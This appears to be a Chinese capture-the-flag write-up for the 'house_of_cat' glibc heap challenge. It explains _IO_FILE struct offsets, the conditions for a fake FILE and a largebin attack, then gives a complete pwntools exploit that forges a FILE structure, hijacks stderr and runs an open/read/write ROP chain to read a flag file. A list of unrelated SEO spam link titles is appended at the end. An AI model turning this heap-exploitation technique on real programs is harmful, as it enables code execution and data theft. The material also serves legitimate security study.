{int _flags;		/* High-order word is _IO_MAGIC; rest is flags. *//* The following pointers correspond to the C++ streambuf protocol. */char *_IO_read_ptr;	/* Current read pointer */char *_IO_read_end;	/* End of get area. */char *_IO_read_base;	/* Start of putback+get area. */char *_IO_write_base;	/* Start of put area. */char *_IO_write_ptr;	/* Current put pointer. */char *_IO_write_end;	/* End of put area. */char *_IO_buf_base;	/* Start of reserve area. */char *_IO_buf_end;	/* End of reserve area. *//* The following fields are used to support backing up and undo. */char *_IO_save_base; /* Pointer to start of non-current get area. */char *_IO_backup_base;  /* Pointer to first valid character of backup area */char *_IO_save_end; /* Pointer to end of non-current get area. */struct _IO_marker *_markers;//0x60struct _IO_FILE *_chain;//0x68int _fileno;int _flags2;//0x70__off_t _old_offset; /* This used to be _offset but it's too small.  */ //0x78/* 1+column number of pbase(); 0 is unknown. */unsigned short _cur_column;//0x80signed char _vtable_offset;char _shortbuf[1];//0x84_IO_lock_t *_lock;//0x88
#ifdef _IO_USE_OLD_IO_FILE
};
結(jié)構(gòu)體_IO_FILE_complete,進(jìn)入_IO_wfile_seekoff函數(shù)將采用該結(jié)構(gòu)體
struct _IO_FILE_complete
{struct _IO_FILE _file;//0x88
#endif__off64_t _offset;//0x90/* Wide character stream stuff.  */struct _IO_codecvt *_codecvt;//0x98struct _IO_wide_data *_wide_data;//0xa0struct _IO_FILE *_freeres_list;//0xa8void *_freeres_buf;//0xb0size_t __pad5;//0xb8int _mode;//0xc0/* Make sure we don't get into trouble again.  */char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];//0xc8
};//0xd8

整理得:

條件
(S)->_flags & _IO_UNBUFFERED == 0(即(S)->_flags & 2 == 0									//該處無需刻意注意,一般此時(shí)該位置都為0
fake_io_file+0x90 = _wide_data(指針)														//這里我們假設(shè)指向fake_io_file+0x30位置
mode != 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base(fp即是我們偽造的fake_io_file
//那么這條語句則為 fake_io_file+0x50 > fake_io_file+0x48
fp->_lock是一個(gè)可寫地址				//要經(jīng)過宏定義_IO_lock_lock的處理,需要作為指針并寫入值操作
如下為布局:
0x556d2583bb00: 0x0000000000000000      0x0000000000000421		//fake_io_file
0x556d2583bb10: 0x0000000000000000      0x0000000000000000
0x556d2583bb20: 0x0000000000000000      0x0000000000000000
0x556d2583bb30: 0x0000000000000000      0x0000000000000000		//_wide_data結(jié)構(gòu)體
0x556d2583bb40: 0x0000000000000001      0x0000000000000000		//_IO_read_base  _IO_write_base
0x556d2583bb50: 0x0000556d2583bbb0      0x00007fbfae469a6d		//_IO_write_ptr  call_addr
0x556d2583bb60: 0x0000000000000000      0x0000000000000000		//			_chain
0x556d2583bb70: 0x0000000000000000      0x0000000000000000
0x556d2583bb80: 0x0000000000000000      0x0000556d2583c000		//			_lock
0x556d2583bb90: 0x0000000000000000      0x0000000000000000
0x556d2583bba0: 0x0000556d2583bb30      0x0000000000000000		//_wide_data指針
0x556d2583bbb0: 0x0000000000000000      0x0000000000000000
0x556d2583bbc0: 0x0000000000000000      0x0000000000000000		//_mode
0x556d2583bbd0: 0x0000000000000000      0x00007fbfae62c0d0		//			vtable
0x556d2583bbe0: 0x0000000000000000      0x0000000000000000
0x556d2583bbf0: 0x0000000000000000      0x0000000000000000
0x556d2583bc00: 0x0000000000000000      0x0000000000000000
0x556d2583bc10: 0x0000556d2583bb40      0x0000556d2583c7d0		//rax(跳板)	flag_addr(rdi)
0x556d2583bc20: 0x0000000000000000      0x0000000000000000
0x556d2583bc30: 0x0000000000000000      0x0000000000000000
0x556d2583bc40: 0x0000000000000000      0x0000000000000000
0x556d2583bc50: 0x0000556d2583d050      0x00007fbfae43fcd6		//rsp(rop)  ret(ret_addr)
0x556d2583bc60: 0x0000000000000000      0x0000000000000000

Largebin attack攻擊(高版本):

 else{victim_index = largebin_index (size);bck = bin_at (av, victim_index);//bck = libc_addrfwd = bck->fd;//fwd = largebin/* maintain large bins in sorted order */if (fwd != bck){...if ((unsigned long) (size)< (unsigned long) chunksize_nomask (bck->bk)){fwd = bck;//fwd = libc_addrbck = bck->bk;//bck = largebinvictim->fd_nextsize = fwd->fd;//chunk+0x10 = largebinvictim->bk_nextsize = fwd->fd->bk_nextsize;//heap_addr+0x18 = target_addr(largebin+0x18)fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;//largebin->bk_nextsize = target_addr->fd_nextsize = heap_addr}else{...}}...}mark_bin (av, victim_index);victim->bk = bck;victim->fd = fwd;fwd->bk = victim;bck->fd = victim;

exp如下:(參考了wp的方式

from pwn import *
context(log_level='debug',os='linux',arch='amd64')binary = './house_of_cat'
r = process(binary)
elf = ELF(binary)
libc = elf.libclogin = lambda : r.sendafter("mew~~~~~~\n",b'LOGIN | r00t QWBQWXF admin')
cat   = lambda : r.sendafter("mew~~~~~~\n",b'CAT | r00t QWBQWXF $\xff')
def add(index,size=0x418,payload=b'/bin/sh\x00'):cat()r.sendlineafter("cat choice:\n",'1')r.sendlineafter("cat idx:\n",str(index))r.sendlineafter("cat size:\n",str(size))r.sendafter("content:\n",payload)def delete(index):cat()r.sendlineafter("cat choice:\n",'2')r.sendlineafter("cat idx:\n",str(index))def show(index):cat()r.sendlineafter("cat choice:\n",'3')r.sendlineafter("cat idx:\n",str(index))def edit(index,payload):cat()r.sendlineafter("cat choice:\n",'4')r.sendlineafter("cat idx:\n",str(index))r.sendlineafter("content:\n",payload)def pwndbg():gdb.attach(r)pause()login()
add(0,0x420)
add(1,0x430)
add(2,0x418)
delete(0)
add(3,0x440)# 將0_chunk放入largebin之中,從而泄露heap與libc地址
show(0)
r.recvuntil("Context:\n")
libc_base = u64(r.recv(8))-0x21A0D0
heap_base = u64(r.recv(16)[8:])-0x290pop_rax_ret     = libc_base+0x0000000000045eb0
pop_rdi_ret     = libc_base+0x000000000002a3e5
pop_rsi_ret     = libc_base+0x000000000002be51
pop_rdx_r12_ret = libc_base+0x000000000011f497
stderr_addr     = libc_base+0x21a860
setcontext_addr = libc_base+0x53A30
read_addr       = libc_base+0x114980
write_addr      = libc_base+0x114A20
close_addr      = libc_base+0x115100
syscall         = libc_base+0x91396
ret             = libc_base+0x0000000000029cd6ioaddr=heap_base+0xb00
fake_io_addr  = heap_base+0xb00# fake_IO_FILE缺少0x10頭部
fake_IO_FILE  = p64(0)*6#  偽造的_wide_data結(jié)構(gòu)體
fake_IO_FILE += p64(1)+p64(0)#  
fake_IO_FILE += p64(fake_io_addr+0xb0)#_IO_backup_base=setcontext_rdx
fake_IO_FILE += p64(setcontext_addr+61)#_IO_save_end=call addr(call setcontext)
fake_IO_FILE  = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE  = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x1000)  # _lock = a writable address
fake_IO_FILE  = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE  = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0)  # _mode = 0
fake_IO_FILE  = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr
flagaddr      = heap_base+0x17d0payload1 = fake_IO_FILE+p64(flagaddr)+p64(0)*6+p64(heap_base+0x2050)+p64(ret)delete(2)
add(6,0x418,payload1)
delete(6)
#===============largebin attack stderr pointer===============
edit(0,p64(libc_base+0x21A0D0)*2+p64(heap_base+0x290)+p64(stderr_addr-0x20))
add(5,0x440)
add(7,0x430,b'flag\x00')
add(8,0x430)
#===============ROP===============
payload2 = flat([pop_rdi_ret,0,close_addr,pop_rdi_ret,flagaddr,pop_rsi_ret,0,pop_rax_ret,2,syscall,pop_rdi_ret,0,pop_rsi_ret,flagaddr,pop_rdx_r12_ret,0x50,0,read_addr,pop_rdi_ret,1,write_addr
])
add(9,0x430,payload2)
delete(5)
add(10,0x450,p64(0)+p64(1))
delete(8)
#===============largebin attack top_chunk->size===============
edit(5,p64(0x21A0E0)*2+p64(heap_base+0x1370)+p64(heap_base+0x28e0-0x20+3))success(hex(libc_base))
success(hex(heap_base))
#gdb.attach(r)
cat()
r.sendlineafter("cat choice:\n",'1')
r.sendlineafter("cat idx:\n",str(11))
pwndbg()
r.sendlineafter("cat size:\n",str(0x450))r.interactive()
http://m.aloenet.com.cn/news/1364.html

相關(guān)文章:

  • 漂亮大氣的裝潢室內(nèi)設(shè)計(jì)網(wǎng)站模板 單頁式html5網(wǎng)頁模板包國內(nèi)搜索引擎排行榜
  • 方圓網(wǎng)站建設(shè)國內(nèi)seo公司排名
  • 百度自助網(wǎng)站建設(shè)南寧網(wǎng)站快速排名提升
  • 上海設(shè)計(jì)網(wǎng)站baidu百度
  • 梅林網(wǎng)站建設(shè)網(wǎng)站診斷工具
  • 做兼職的網(wǎng)站是不是真的嗎重慶整站seo
  • 西安做網(wǎng)站比較好的公司臺州seo排名外包
  • 怎樣做單頁銷售網(wǎng)站軟文范例大全100字
  • 站酷網(wǎng)站源碼永久免費(fèi)域名注冊
  • 哪個(gè)網(wǎng)站可以做試卷上海牛巨微seo關(guān)鍵詞優(yōu)化
  • 番禺做網(wǎng)站哪家強(qiáng)北京seo公司網(wǎng)站
  • 新聞網(wǎng)站建設(shè)合同谷歌優(yōu)化師
  • 最新獲取網(wǎng)站訪客qq接口成人職業(yè)技術(shù)培訓(xùn)學(xué)校
  • 萊蕪網(wǎng)站優(yōu)化招聘網(wǎng)sem是什么的英文縮寫
  • 微信公眾平臺推廣簡述seo的概念
  • 專注網(wǎng)站開發(fā)網(wǎng)站頁面seo
  • 做直播網(wǎng)站需要什么騰訊企點(diǎn)qq
  • 鹵菜店加盟優(yōu)化排名推廣技術(shù)網(wǎng)站
  • 常州做網(wǎng)站包括哪些優(yōu)化網(wǎng)站收費(fèi)標(biāo)準(zhǔn)
  • 頁面設(shè)計(jì)好嗎seo怎么發(fā)布外鏈
  • 網(wǎng)站建設(shè)資金報(bào)告網(wǎng)站宣傳文案范例
  • 深圳網(wǎng)站建設(shè)_請到中投網(wǎng)絡(luò)!四平網(wǎng)站seo
  • 互聯(lián)網(wǎng)營銷師證書是國家認(rèn)可的嗎北京seo優(yōu)化wyhseo
  • 二級a做爰片免費(fèi)視網(wǎng)站淘寶推廣方法有哪些
  • 怎么做班級網(wǎng)站南通做網(wǎng)站推廣的公司
  • 佰聯(lián)軸承網(wǎng)做的網(wǎng)站網(wǎng)站seo優(yōu)化培訓(xùn)
  • 地方網(wǎng)站域名選擇史上最強(qiáng)大的搜索神器
  • 網(wǎng)站建設(shè)這個(gè)口碑營銷的步驟
  • 在成都如何找到做網(wǎng)站的公司高級seo
  • 企業(yè)官方網(wǎng)站建設(shè)長沙專業(yè)競價(jià)優(yōu)化首選